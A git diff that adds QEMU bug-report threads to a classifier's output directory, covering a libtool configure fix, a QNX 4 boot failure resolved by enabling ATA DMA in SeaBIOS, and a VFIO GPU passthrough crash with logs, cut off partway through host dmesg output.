$QEMU_CFLAGS $local_cflags -o $TMPE $TMPC $LDFLAGS $local_ldflags +> } +> +> +do_libtool() { +> + local mode=$1 +> + shift +> + # Run the compiler, capturing its output to the log. +> + echo $libtool $mode --tag=CC $cc "$@" >> config.log +> + $libtool $mode --tag=CC $cc "$@" >> config.log 2>&1 || return $? +> + # Test passed. If this is an --enable-werror build, rerun +> + # the test with -Werror and bail out if it fails. This +> + # makes warning-generating-errors in configure test code +> + # obvious to developers. +> + if test "$werror" != "yes"; then +> + return 0 +> + fi +> + # Don't bother rerunning the compile if we were already using -Werror +> + case "$*" in +> + *-Werror*) +> + return 0 +> + ;; +> + esac +> + echo $libtool $mode --tag=CC $cc -Werror "$@" >> config.log +> + $libtool $mode --tag=CC $cc -Werror "$@" >> config.log 2>&1 && return $? +> + error_exit "configure test passed without -Werror but failed with -Werror." \ +> + "This is probably a bug in the configure script. The failing command" \ +> + "will be at the bottom of config.log." \ +> + "You can run configure with --disable-werror to bypass this check." +> +} +> + +> +libtool_prog() { +> + do_libtool --mode=compile $QEMU_CFLAGS -c -fPIE -DPIE -o $TMPO $TMPC || return $? +> + do_libtool --mode=link $LDFLAGS -o $TMPA $TMPL -rpath /usr/local/lib +> +} +> + +> # symbolically link $1 to $2. Portable version of "ln -sf". +> symlink() { +> rm -rf "$2" +> @@ -1367,6 +1402,32 @@ EOF +> fi +> fi +> +> +# check for broken gcc and libtool in RHEL5 +> +if test -n "$libtool" -a "$pie" != "no" ; then +> + cat > $TMPC <<EOF +> + +> +void *f(unsigned char *buf, int len); +> +void *g(unsigned char *buf, int len); +> + +> +void * +> +f(unsigned char *buf, int len) +> +{ +> + return (void*)0L; +> +} +> + +> +void * +> +g(unsigned char *buf, int len) +> +{ +> + return f(buf, len); +> +} +> + +> +EOF +> + if ! libtool_prog; then +> + echo "Disabling libtool due to broken toolchain support" +> + libtool= +> + fi +> +fi +> + +> ########################################## +> # __sync_fetch_and_and requires at least -march=i486. Many toolchains +> # use i686 as default anyway, but for those that don't, an explicit + + + +Patch has been included here: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=66518bf668f09eaab14c174 +==> Fix released. + diff --git a/results/classifier/deepseek-1/output/transfer./1191326 b/results/classifier/deepseek-1/output/transfer./1191326 new file mode 100644 index 00000000..c32d3421 --- /dev/null +++ b/results/classifier/deepseek-1/output/transfer./1191326 @@ -0,0 +1,230 @@ + +QNX 4 doesn't boot on qemu >= 1.3 + + +I am using virtual machine with QNX4 operating system installed on it. I updated my qemu from version +to newer and QNX4 doesn't start any more. All is ok on version 1.2 but when I try to use any newer version +(1.3, 1.4, 1.5) QNX4 doesn't boot. I tried on windows and linux ubuntu hosts - effects are the same. + +When virtual machine boots qnx bootloader loads and starts operating system. In the next step +qnx starts its ide driver, which detects qemu harddisk and cdrom. Problem starts when operating system +tries mount partition - an error occur and qnx stop booting procedure: + +mount -p "No bios signature in partition sector on /dev/hd0" + +I have tried install qnx from cdrom but it seems that there is the same problem. QNX installer boot from +cdrom, detects hard disk and cdrom, but cdrom can't be mounted in the next step of installation procedure. + +with qemu 1.6 is even worse - qemu crash every time when QNX detects hard disk + +Please use git-bisect to find out which change between 1.2.0 and 1.3.0 broke things for you. + +problem appeared in this commit: + +commit b90600eed3c0efe5f3260853c873caf51c0677b1 +Author: Avi Kivity <email address hidden> +Date: Wed Oct 3 16:42:37 2012 +0200 + + dma: make dma access its own address space + + Instead of accessing the cpu address space, use an address space + configured by the caller. + + Eventually all dma functionality will be folded into AddressSpace, + but we have to start from something. + + Reviewed-by: Anthony Liguori <email address hidden> + Signed-off-by: Avi Kivity <email address hidden> + +Output from valgrind running latest qemu downloaded from git. Qemu crashed of course. +If I can check something more, please let me know. + +==29109== Memcheck, a memory error detector +==29109== Copyright (C) 2002-2011, and GNU GPL'd, by Julian Seward et al. +==29109== Using Valgrind-3.7.0 and LibVEX; rerun with -h for copyright info +==29109== Command: qemu-system-i386 -no-kvm -hda /home/jq/QNX4.vmdk +==29109== Parent PID: 15280 +==29109== +==29109== Invalid write of size 8 +==29109== at 0x4C2CD8D: memcpy@@GLIBC_2.14 (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) +==29109== by 0x4DF292: iov_from_buf (iov.c:37) +==29109== by 0x4E01B8: qemu_iovec_from_buf (iov.c:374) +==29109== by 0x1A0CA6: bdrv_aio_bh_cb (block.c:3820) +==29109== by 0x186CEB: aio_bh_poll (async.c:81) +==29109== by 0x18693D: aio_poll (aio-posix.c:188) +==29109== by 0x1870FA: aio_ctx_dispatch (async.c:205) +==29109== by 0x5081AB4: g_main_context_dispatch (gmain.c:2715) +==29109== by 0x3235CE: glib_pollfds_poll (main-loop.c:189) +==29109== by 0x3236C2: os_host_main_loop_wait (main-loop.c:234) +==29109== by 0x32379A: main_loop_wait (main-loop.c:484) +==29109== by 0x3B0776: main_loop (vl.c:2090) +==29109== Address 0x157c8ff8 is not stack'd, malloc'd or (recently) free'd +==29109== +==29109== Invalid read of size 4 +==29109== at 0x3C4B85: ldl_p (bswap.h:262) +==29109== by 0x3C4CC6: ldl_le_p (bswap.h:295) +==29109== by 0x3CAAC2: address_space_rw (exec.c:1953) +==29109== by 0x3CAE0C: address_space_write (exec.c:2021) +==29109== by 0x3CB570: address_space_unmap (exec.c:2230) +==29109== by 0x1EF736: dma_memory_unmap (dma.h:146) +==29109== by 0x1EFCBD: dma_bdrv_unmap (dma-helpers.c:108) +==29109== by 0x1EFE35: dma_bdrv_cb (dma-helpers.c:146) +==29109== by 0x1A0FE0: bdrv_co_em_bh (block.c:3901) +==29109== by 0x186CEB: aio_bh_poll (async.c:81) +==29109== by 0x18693D: aio_poll (aio-posix.c:188) +==29109== by 0x1870FA: aio_ctx_dispatch (async.c:205) +==29109== Address 0x157ba000 is 0 bytes after a block of size 4,096 alloc'd +==29109== at 0x4C29CD5: memalign (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) +==29109== by 0x4C29D2E: posix_memalign (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) +==29109== by 0x4DA0AB: qemu_memalign (oslib-posix.c:90) +==29109== by 0x3CB322: address_space_map (exec.c:2162) +==29109== by 0x1EF6BE: dma_memory_map (dma.h:137) +==29109== by 0x1EFEEF: dma_bdrv_cb (dma-helpers.c:156) +==29109== by 0x1F0205: dma_bdrv_io (dma-helpers.c:219) +==29109== by 0x1F027A: dma_bdrv_read (dma-helpers.c:228) +==29109== by 0x2724C4: ide_dma_cb (core.c:676) +==29109== by 0x278AC2: bmdma_cmd_writeb (pci.c:324) +==29109== by 0x2792AA: bmdma_write (piix.c:76) +==29109== by 0x43535C: memory_region_write_accessor (memory.c:440) +==29109== + +valgrind: m_mallocfree.c:266 (mk_plain_bszB): Assertion 'bszB != 0' failed. +valgrind: This is probably caused by your program erroneously writing past the +end of a heap block and corrupting heap metadata. If you fix any +invalid writes reported by Memcheck, this assertion failure will +probably go away. Please try that before reporting this as a bug. + +==29109== at 0x3804C6CF: ??? (in /usr/lib/valgrind/memcheck-amd64-linux) +==29109== by 0x3804C812: ??? (in /usr/lib/valgrind/memcheck-amd64-linux) +==29109== by 0x38000883: ??? (in /usr/lib/valgrind/memcheck-amd64-linux) +==29109== by 0x38057FB1: ??? (in /usr/lib/valgrind/memcheck-amd64-linux) +==29109== by 0x38058962: ??? (in /usr/lib/valgrind/memcheck-amd64-linux) +==29109== by 0x380212DC: ??? (in /usr/lib/valgrind/memcheck-amd64-linux) +==29109== by 0x3802158F: ??? (in /usr/lib/valgrind/memcheck-amd64-linux) +==29109== by 0x3808F1DB: ??? (in /usr/lib/valgrind/memcheck-amd64-linux) +==29109== by 0x3809E68C: ??? (in /usr/lib/valgrind/memcheck-amd64-linux) + +sched status: + running_tid=1 + +Thread 1: status = VgTs_Runnable +==29109== at 0x4C29CD5: memalign (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) +==29109== by 0x4C29D2E: posix_memalign (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) +==29109== by 0x4DA0AB: qemu_memalign (oslib-posix.c:90) +==29109== by 0x1A2192: qemu_blockalign (block.c:4375) +==29109== by 0x1A0D92: bdrv_aio_rw_vector (block.c:3842) +==29109== by 0x1A0EB6: bdrv_aio_readv_em (block.c:3861) +==29109== by 0x1A169A: bdrv_co_io_em (block.c:4068) +==29109== by 0x1A172B: bdrv_co_readv_em (block.c:4085) +==29109== by 0x19D921: bdrv_co_do_readv (block.c:2574) +==29109== by 0x1A1091: bdrv_co_do_rw (block.c:3918) +==29109== by 0x1E7776: coroutine_trampoline (coroutine-ucontext.c:118) +==29109== by 0x5F3264F: ??? (in /lib/x86_64-linux-gnu/libc-2.15.so) +==29109== by 0x7FEFFC5CF: ??? + +Thread 2: status = VgTs_WaitSys +==29109== at 0x5CDB0C1: sem_timedwait (sem_timedwait.S:102) +==29109== by 0x4DAD2A: qemu_sem_timedwait (qemu-thread-posix.c:238) +==29109== by 0x387F22: worker_thread (thread-pool.c:97) +==29109== by 0x5CD4E99: start_thread (pthread_create.c:308) +==29109== by 0x5FDDCCC: clone (clone.S:112) + +Thread 3: status = VgTs_WaitSys +==29109== at 0x5CDB89C: __lll_lock_wait (lowlevellock.S:132) +==29109== by 0x5CDE2B7: _L_cond_lock_874 (pthread_mutex_lock.c:483) +==29109== by 0x5CDE086: __pthread_mutex_cond_lock (pthread_mutex_lock.c:61) +==29109== by 0x5CD8E17: pthread_cond_wait@@GLIBC_2.3.2 (pthread_cond_wait.S:236) +==29109== by 0x4DAB68: qemu_cond_wait (qemu-thread-posix.c:116) +==29109== by 0x3BE13E: qemu_tcg_wait_io_event (cpus.c:760) +==29109== by 0x3BE588: qemu_tcg_cpu_thread_fn (cpus.c:891) +==29109== by 0x5CD4E99: start_thread (pthread_create.c:308) +==29109== by 0x5FDDCCC: clone (clone.S:112) + +Thread 4: status = VgTs_WaitSys +==29109== at 0x5CD8D84: pthread_cond_wait@@GLIBC_2.3.2 (pthread_cond_wait.S:162) +==29109== by 0x4DAB68: qemu_cond_wait (qemu-thread-posix.c:116) +==29109== by 0x3A38CD: vnc_worker_thread_loop (vnc-jobs.c:222) +==29109== by 0x3A3DF6: vnc_worker_thread (vnc-jobs.c:318) +==29109== by 0x5CD4E99: start_thread (pthread_create.c:308) +==29109== by 0x5FDDCCC: clone (clone.S:112) + + +On Linux hosts are you using KVM? Does it make any difference? + +Is there a freely downloadable image that we can use for debugging? + +Thanks, + +Paolo + +KVM doesnt make any difference. + + +I am also experiencing this problem QNX 4.25 images that were created under 1.0 no longer work when I've upgraded to 2.0 or 2.1 qemu. + +The error message that I receive is the same. The problem is with the virtual disk driver, it performs the initial boat loader, then when the OS goes to load the file system it fails. + +Triaging old bug tickets ... can you still reproduce this problem with the latest version of QEMU (currently v2.9.0)? + +[Expired for QEMU because there has been no activity for 60 days.] + +I've just tried to launch QNX 4.25 ISO bootdisk on qemu-system-x86_64 built from current git. +QEMU screen is skewed (see on screenshot). I tried all different options in -vga key - all the same. + +This is still a problem with QEMU 2.11. + +Note that the problem in #10 is unrelated to the issue (though GUI works for with the the demo floppy). The problem mentioned in this bug is related to a QNX that is already installed to a disk. Unfortunately the QNX demo floppy that was once free and which can be still found on the internet does not allow installation to disk, so it can't be used to reproduce the bug. + +At work we still maintain an application for QNX 4.25 so I can help debugging it, but I don't know where to start. Currently we use VirtualBox and VMware, but I personally would prefer QEMU much more. + +Please let me know if there is any way how I could help to sort this issue out. + +I wonder - would be a record using rr of any help? I can create record for QEMU 1.2.0 where it works and on current QEMU. + +Also, I did a bit of debugging myself around the DMA code as per comment #3 it was introduced in a commit that changed some of the DMA. What I did was that I added some debug printfs [1] to dma_memory_rw() to QEMU 1.2.0 and to QEMU 2.11.1. + +I noticed on thing - there is a big difference between writes between the two versions. +Because this stuff is completely outside my knowledge, I don't know whether this is important or not, but better more information that not enough. For recent versions of QEMU I see a few 16 B writes from address 0x6d10 and addresses close to it which contain some data. Immediately after that there is a ton of 8B writes from addresses starting at 0x102004 which contain zeros only. On the other hand, the QEMU 1.2.0 is missing the initial 16B writes, but then there's even more 8B writes from addresses around 0x102004 which contain some data instead of zeros like in the current version. + +[1] the printf looks like this: + +printf("DEBUG: DMA %s at address %lx %lu bytes: ", ((dir == DMA_DIRECTION_FROM_DEVICE) ? "read" : "write"), addr, len); + +Hi, + +I had the same problem, and maybe it can help. I wrote my own toy OS with a PATA / IDE driver back in 2012 using older version of QEMU and everything worked fine. These days, I tried that on a recent version (2.5) and it failed with exactly the same behaviour - lots of zeros being written during a DMA transfer. + +After some research, I found that the behaviour that was changed with 1.3 is that the bus master configuration bit (bit 2 of the PCI command register) is now emulated, and my driver did not set this bit. Apparently, the BIOS does not set it either, so it was off and the DMA transfer silently failed and only wrote zeros. + +So I added some code to my init routine that sets this bit, and voila - it worked. I have tried 1.2, 1.3 and 2.5.0 and this works with all of them. + +I do not know the internals of QNX, but I learned that apparently also Linux did not set this bit in older version, so it might very well be that QNX does not set it either and this is the issue. + +@Christiat: thank you so much, you are right! I put together a quick hack[1] to seabios to forcefully enable bus master bit on ata device and QNX booted! + +[1] I just added an unconditional call to the pci_enable_busmaster(pci); to the init_pciata() function in ata.c + +It turns out modifying code is not needed at all. The only thing that is needed is to configure SeaBIOS with CONFIG_ATA_DMA=y. + +So the steps needed to make QNX 4 work on current QEMU are +1. Download SeaBIOS source and make sure the configuration has CONFIG_ATA_DMA=y set +2. Build SeaBIOS +3. Run qemu such as "qemu-system-i386 -bios /path/to/seabios/bios.bin -hda qnxdisk ..." + +qemu git master has a prebuilt seabios with CONFIG_ATA_DMA=y now. + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/transition./1897481 b/results/classifier/deepseek-1/output/transition./1897481 new file mode 100644 index 00000000..7a839b9b --- /dev/null +++ b/results/classifier/deepseek-1/output/transition./1897481 @@ -0,0 +1,2077 @@ + +qemu crashes with VGA pass-through, e-GPU, nvidia 1060 + +I try to pass-through nvidia 1060 6gb card, which is connected via ExpressCard (EXP-GDC converter). + +I can successfully run my virtual machine without pass-through, but when I try to add the devices, qemu crashes. + +The coredump contains: + +Stack trace of thread 3289311: +#0 0x0000000000614c49 memory_region_update_container_subregions (qemu-system-x86_64 + 0x214c49) +#1 0x00000000005c0e8c vfio_probe_nvidia_bar0_quirk (qemu-system-x86_64 + 0x1c0e8c) +#2 0x00000000005bcec0 vfio_realize (qemu-system-x86_64 + 0x1bcec0) +#3 0x000000000079b423 pci_qdev_realize (qemu-system-x86_64 + 0x39b423) +#4 0x00000000006facda device_set_realized (qemu-system-x86_64 + 0x2facda) +#5 0x0000000000887e57 property_set_bool (qemu-system-x86_64 + 0x487e57) +#6 0x000000000088ac48 object_property_set (qemu-system-x86_64 + 0x48ac48) +#7 0x000000000088d1d2 object_property_set_qobject (qemu-system-x86_64 + 0x48d1d2) +#8 0x000000000088b1f7 object_property_set_bool (qemu-system-x86_64 + 0x48b1f7) +#9 0x0000000000693785 qdev_device_add (qemu-system-x86_64 + 0x293785) +#10 0x000000000061aad0 device_init_func (qemu-system-x86_64 + 0x21aad0) +#11 0x000000000098c87b qemu_opts_foreach (qemu-system-x86_64 + 0x58c87b) +#12 0x00000000006211cb qemu_init (qemu-system-x86_64 + 0x2211cb) +#13 0x00000000005002aa main (qemu-system-x86_64 + 0x1002aa) +#14 0x00007fce8af21152 __libc_start_main (libc.so.6 + 0x28152) +#15 0x000000000050087e _start (qemu-system-x86_64 + 0x10087e) + +The whole running command is pretty long, since I use libvirt to manage my machines: + +LC_ALL=C \ +PATH=/usr/local/sbin:/usr/local/bin:/usr/bin \ +HOME=/var/lib/libvirt/qemu/domain-2-Win10 \ +XDG_DATA_HOME=/var/lib/libvirt/qemu/domain-2-Win10/.local/share \ +XDG_CACHE_HOME=/var/lib/libvirt/qemu/domain-2-Win10/.cache \ +XDG_CONFIG_HOME=/var/lib/libvirt/qemu/domain-2-Win10/.config \ +QEMU_AUDIO_DRV=spice \ +/usr/bin/qemu-system-x86_64 \ +-name guest=Win10,debug-threads=on \ +-S \ +-blockdev '{"driver":"file","filename":"/usr/share/edk2-ovmf/x64/OVMF_CODE.fd","node-name":"libvirt-pflash0-storage","auto-read-only":true,"discard":"unmap"}' \ +-blockdev '{"node-name":"libvirt-pflash0-format","read-only":true,"driver":"raw","file":"libvirt-pflash0-storage"}' \ +-blockdev '{"driver":"file","filename":"/var/lib/libvirt/qemu/nvram/Win10_VARS.fd","node-name":"libvirt-pflash1-storage","auto-read-only":true,"discard":"unmap"}' \ +-blockdev '{"node-name":"libvirt-pflash1-format","read-only":false,"driver":"raw","file":"libvirt-pflash1-storage"}' \ +-machine pc-q35-5.1,accel=kvm,usb=off,vmport=off,dump-guest-core=off,pflash0=libvirt-pflash0-format,pflash1=libvirt-pflash1-format \ +-cpu host,migratable=on,hv-time,hv-relaxed,hv-vapic,hv-spinlocks=0x1fff \ +-m 8192 \ +-overcommit mem-lock=off \ +-smp 2,sockets=2,cores=1,threads=1 \ +-uuid 7043c77b-4903-4527-8089-9679d9a17fee \ +-no-user-config \ +-nodefaults \ +-chardev stdio,mux=on,id=charmonitor \ +-mon chardev=charmonitor,id=monitor,mode=control \ +-rtc base=localtime,driftfix=slew \ +-global kvm-pit.lost_tick_policy=delay \ +-no-hpet \ +-no-shutdown \ +-global ICH9-LPC.disable_s3=1 \ +-global ICH9-LPC.disable_s4=1 \ +-boot strict=on \ +-device pcie-root-port,port=0x10,chassis=1,id=pci.1,bus=pcie.0,multifunction=on,addr=0x2 \ +-device pcie-root-port,port=0x11,chassis=2,id=pci.2,bus=pcie.0,addr=0x2.0x1 \ +-device pcie-root-port,port=0x12,chassis=3,id=pci.3,bus=pcie.0,addr=0x2.0x2 \ +-device pcie-root-port,port=0x13,chassis=4,id=pci.4,bus=pcie.0,addr=0x2.0x3 \ +-device pcie-root-port,port=0x14,chassis=5,id=pci.5,bus=pcie.0,addr=0x2.0x4 \ +-device pcie-root-port,port=0x15,chassis=6,id=pci.6,bus=pcie.0,addr=0x2.0x5 \ +-device qemu-xhci,p2=15,p3=15,id=usb,bus=pci.2,addr=0x0 \ +-device virtio-serial-pci,id=virtio-serial0,bus=pci.3,addr=0x0 \ +-blockdev '{"driver":"file","filename":"/home/sergiy/VirtualBox VMs/win4games.img","node-name":"libvirt-2-storage","auto-read-only":true,"discard":"unmap"}' \ +-blockdev '{"node-name":"libvirt-2-format","read-only":false,"driver":"raw","file":"libvirt-2-storage"}' \ +-device ide-hd,bus=ide.0,drive=libvirt-2-format,id=sata0-0-0,bootindex=1 \ +-blockdev '{"driver":"file","filename":"/home/sergiy/Downloads/Win10_2004_Ukrainian_x64.iso","node-name":"libvirt-1-storage","auto-read-only":true,"discard":"unmap"}' \ +-blockdev '{"node-name":"libvirt-1-format","read-only":true,"driver":"raw","file":"libvirt-1-storage"}' \ +-device ide-cd,bus=ide.1,drive=libvirt-1-format,id=sata0-0-1 \ +-chardev pty,id=charserial0 \ +-device isa-serial,chardev=charserial0,id=serial0 \ +-chardev spicevmc,id=charchannel0,name=vdagent \ +-device virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=com.redhat.spice.0 \ +-spice port=5900,addr=127.0.0.1,disable-ticketing,image-compression=off,seamless-migration=on \ +-device qxl-vga,id=video0,ram_size=67108864,vram_size=67108864,vram64_size_mb=0,vgamem_mb=16,max_outputs=1,bus=pcie.0,addr=0x1 \ +-chardev spicevmc,id=charredir0,name=usbredir \ +-device usb-redir,chardev=charredir0,id=redir0,bus=usb.0,port=1 \ +-chardev spicevmc,id=charredir1,name=usbredir \ +-device usb-redir,chardev=charredir1,id=redir1,bus=usb.0,port=2 \ +-device vfio-pci,host=0000:04:00.0,id=hostdev0,bus=pci.4,multifunction=on,addr=0x0 \ +-device vfio-pci,host=0000:04:00.1,id=hostdev1,bus=pci.4,addr=0x0.0x1 \ +-device virtio-balloon-pci,id=balloon0,bus=pci.5,addr=0x0 \ +-sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny \ +-msg timestamp=on + +I've forced vfio_pci module for the VGA, and ensured that lspci shows + + Kernel driver in use: vfio_pci + +My laptop is Thinkpad x230, that runs on Intel(R) Core(TM) i5-3320M CPU @ 2.60GHz. +I run 5.8.6-1-MANJARO kernel and run QEMU emulator version 5.1.0. + +Thank you for your attention. I'd love to provide more information, but I don't know what else matters. + +Please attach output from `dmesg` and `sudo lspci -vvv`, both from the host. Laptops typically don't provide sufficient resources for GPUs attached like this, so my guess is that we're trying to add a quirk on top of a BAR that isn't mapped. If that's the case, the following host kernel options might help: pci=realloc,assign-busses,nocrs + +dmesg: + +[ 0.000000] microcode: microcode updated early to revision 0x21, date = 2019-02-13 +[ 0.000000] Linux version 5.8.6-1-MANJARO (builder@db927223e331) (gcc (GCC) 10.2.0, GNU ld (GNU Binutils) 2.35) #1 SMP PREEMPT Thu Sep 3 14:19:36 UTC 2020 +[ 0.000000] Command line: BOOT_IMAGE=/boot/vmlinuz-5.8-x86_64 root=UUID=f04fa3cc-b1c5-433a-896b-7194abdefa13 rw resume=UUID=f04fa3cc-b1c5-433a-896b-7194abdefa13 resume_offset=7829504 intel_iommu=on quiet resume=UUID=f04fa3cc-b1c5-433a-896b-7194abdefa13 resume_offset=7829504 intel_iommu=on +[ 0.000000] KERNEL supported cpus: +[ 0.000000] Intel GenuineIntel +[ 0.000000] AMD AuthenticAMD +[ 0.000000] Hygon HygonGenuine +[ 0.000000] Centaur CentaurHauls +[ 0.000000] zhaoxin Shanghai +[ 0.000000] x86/fpu: Supporting XSAVE feature 0x001: 'x87 floating point registers' +[ 0.000000] x86/fpu: Supporting XSAVE feature 0x002: 'SSE registers' +[ 0.000000] x86/fpu: Supporting XSAVE feature 0x004: 'AVX registers' +[ 0.000000] x86/fpu: xstate_offset[2]: 576, xstate_sizes[2]: 256 +[ 0.000000] x86/fpu: Enabled xstate features 0x7, context size is 832 bytes, using 'standard' format. +[ 0.000000] BIOS-provided physical RAM map: +[ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000008ffff] usable +[ 0.000000] BIOS-e820: [mem 0x0000000000090000-0x00000000000bffff] reserved +[ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x000000001fffffff] usable +[ 0.000000] BIOS-e820: [mem 0x0000000020000000-0x00000000201fffff] reserved +[ 0.000000] BIOS-e820: [mem 0x0000000020200000-0x0000000040003fff] usable +[ 0.000000] BIOS-e820: [mem 0x0000000040004000-0x0000000040004fff] reserved +[ 0.000000] BIOS-e820: [mem 0x0000000040005000-0x00000000cfef6fff] usable +[ 0.000000] BIOS-e820: [mem 0x00000000cfef7000-0x00000000d00f8fff] reserved +[ 0.000000] BIOS-e820: [mem 0x00000000d00f9000-0x00000000d684efff] usable +[ 0.000000] BIOS-e820: [mem 0x00000000d684f000-0x00000000d6a4efff] type 20 +[ 0.000000] BIOS-e820: [mem 0x00000000d6a4f000-0x00000000dae9efff] reserved +[ 0.000000] BIOS-e820: [mem 0x00000000dae9f000-0x00000000daf9efff] ACPI NVS +[ 0.000000] BIOS-e820: [mem 0x00000000daf9f000-0x00000000daffefff] ACPI data +[ 0.000000] BIOS-e820: [mem 0x00000000dafff000-0x00000000daffffff] usable +[ 0.000000] BIOS-e820: [mem 0x00000000db000000-0x00000000df9fffff] reserved +[ 0.000000] BIOS-e820: [mem 0x00000000f80f8000-0x00000000f80f8fff] reserved +[ 0.000000] BIOS-e820: [mem 0x00000000fed1c000-0x00000000fed1ffff] reserved +[ 0.000000] BIOS-e820: [mem 0x0000000100000000-0x000000041e5fffff] usable +[ 0.000000] BIOS-e820: [mem 0x000000041e600000-0x000000041effffff] reserved +[ 0.000000] NX (Execute Disable) protection: active +[ 0.000000] efi: EFI v2.31 by Lenovo +[ 0.000000] efi: ACPI 2.0=0xdaffe014 ACPI=0xdaffe000 SMBIOS=0xdae9e000 +[ 0.000000] SMBIOS 2.7 present. +[ 0.000000] DMI: LENOVO 2325KZ5/2325KZ5, BIOS G2ETB5WW (2.75 ) 04/09/2019 +[ 0.000000] tsc: Fast TSC calibration using PIT +[ 0.000000] tsc: Detected 2594.172 MHz processor +[ 0.000921] e820: update [mem 0x00000000-0x00000fff] usable ==> reserved +[ 0.000923] e820: remove [mem 0x000a0000-0x000fffff] usable +[ 0.000929] last_pfn = 0x41e600 max_arch_pfn = 0x400000000 +[ 0.000933] MTRR default type: uncachable +[ 0.000934] MTRR fixed ranges enabled: +[ 0.000935] 00000-9FFFF write-back +[ 0.000936] A0000-BFFFF uncachable +[ 0.000937] C0000-FFFFF write-protect +[ 0.000938] MTRR variable ranges enabled: +[ 0.000939] 0 base 0FFC00000 mask FFFC00000 write-protect +[ 0.000940] 1 base 000000000 mask F80000000 write-back +[ 0.000941] 2 base 080000000 mask FC0000000 write-back +[ 0.000942] 3 base 0C0000000 mask FE0000000 write-back +[ 0.000943] 4 base 0DC000000 mask FFC000000 uncachable +[ 0.000944] 5 base 0DB000000 mask FFF000000 uncachable +[ 0.000944] 6 base 100000000 mask F00000000 write-back +[ 0.000945] 7 base 200000000 mask E00000000 write-back +[ 0.000946] 8 base 400000000 mask FE0000000 write-back +[ 0.000947] 9 base 41F000000 mask FFF000000 uncachable +[ 0.001364] x86/PAT: Configuration [0-7]: WB WC UC- UC WB WP UC- WT +[ 0.001580] last_pfn = 0xdb000 max_arch_pfn = 0x400000000 +[ 0.011180] check: Scanning 1 areas for low memory corruption +[ 0.011968] Secure boot could not be determined +[ 0.011969] RAMDISK: [mem 0x3676b000-0x373acfff] +[ 0.011975] ACPI: Early table checksum verification disabled +[ 0.011979] ACPI: RSDP 0x00000000DAFFE014 000024 (v02 LENOVO) +[ 0.011982] ACPI: XSDT 0x00000000DAFFE170 0000C4 (v01 LENOVO TP-G2 00002750 PTL 00000002) +[ 0.011988] ACPI: FACP 0x00000000DAFE5000 00010C (v05 LENOVO TP-G2 00002750 PTL 00000002) +[ 0.011994] ACPI: DSDT 0x00000000DAFE7000 011383 (v01 LENOVO TP-G2 00002750 INTL 20061109) +[ 0.011997] ACPI: FACS 0x00000000DAF5A000 000040 +[ 0.012000] ACPI: SLIC 0x00000000DAFFD000 000176 (v01 LENOVO TP-G2 00002750 PTL 00000001) +[ 0.012003] ACPI: TCPA 0x00000000DAFFC000 000032 (v02 PTL LENOVO 06040000 LNVO 00000001) +[ 0.012006] ACPI: SSDT 0x00000000DAFFB000 000408 (v01 LENOVO TP-SSDT2 00000200 INTL 20061109) +[ 0.012009] ACPI: SSDT 0x00000000DAFFA000 000033 (v01 LENOVO TP-SSDT1 00000100 INTL 20061109) +[ 0.012012] ACPI: SSDT 0x00000000DAFF9000 0007A8 (v01 LENOVO SataAhci 00001000 INTL 20061109) +[ 0.012014] ACPI: HPET 0x00000000DAFE3000 000038 (v01 LENOVO TP-G2 00002750 PTL 00000002) +[ 0.012017] ACPI: APIC 0x00000000DAFE2000 000098 (v01 LENOVO TP-G2 00002750 PTL 00000002) +[ 0.012020] ACPI: MCFG 0x00000000DAFE1000 00003C (v01 LENOVO TP-G2 00002750 PTL 00000002) +[ 0.012023] ACPI: ECDT 0x00000000DAFE0000 000052 (v01 LENOVO TP-G2 00002750 PTL 00000002) +[ 0.012026] ACPI: FPDT 0x00000000DAFDF000 000064 (v01 LENOVO TP-G2 00002750 PTL 00000002) +[ 0.012028] ACPI: ASF! 0x00000000DAFE6000 0000A5 (v32 LENOVO TP-G2 00002750 PTL 00000002) +[ 0.012031] ACPI: UEFI 0x00000000DAFDE000 00003E (v01 LENOVO TP-G2 00002750 PTL 00000002) +[ 0.012034] ACPI: UEFI 0x00000000DAFDD000 000042 (v01 PTL COMBUF 00000001 PTL 00000001) +[ 0.012037] ACPI: POAT 0x00000000DAFDC000 000055 (v03 LENOVO TP-G2 00002750 PTL 00000002) +[ 0.012040] ACPI: SSDT 0x00000000DAFDB000 000C79 (v01 PmRef Cpu0Ist 00003000 INTL 20061109) +[ 0.012043] ACPI: SSDT 0x00000000DAFDA000 000A83 (v01 PmRef CpuPm 00003000 INTL 20061109) +[ 0.012046] ACPI: DMAR 0x00000000DAFD9000 0000B8 (v01 INTEL SNB 00000001 INTL 00000001) +[ 0.012049] ACPI: UEFI 0x00000000DAFD8000 000292 (v01 LENOVO TP-G2 00002750 PTL 00000002) +[ 0.012052] ACPI: DBG2 0x00000000DAFD7000 0000E9 (v00 LENOVO TP-G2 00002750 PTL 00000002) +[ 0.012059] ACPI: Local APIC address 0xfee00000 +[ 0.012101] No NUMA configuration found +[ 0.012101] Faking a node at [mem 0x0000000000000000-0x000000041e5fffff] +[ 0.012105] NODE_DATA(0) allocated [mem 0x41e5ef000-0x41e5f2fff] +[ 0.012143] Zone ranges: +[ 0.012144] DMA [mem 0x0000000000001000-0x0000000000ffffff] +[ 0.012145] DMA32 [mem 0x0000000001000000-0x00000000ffffffff] +[ 0.012146] Normal [mem 0x0000000100000000-0x000000041e5fffff] +[ 0.012147] Device empty +[ 0.012148] Movable zone start for each node +[ 0.012148] Early memory node ranges +[ 0.012149] node 0: [mem 0x0000000000001000-0x000000000008ffff] +[ 0.012150] node 0: [mem 0x0000000000100000-0x000000001fffffff] +[ 0.012151] node 0: [mem 0x0000000020200000-0x0000000040003fff] +[ 0.012151] node 0: [mem 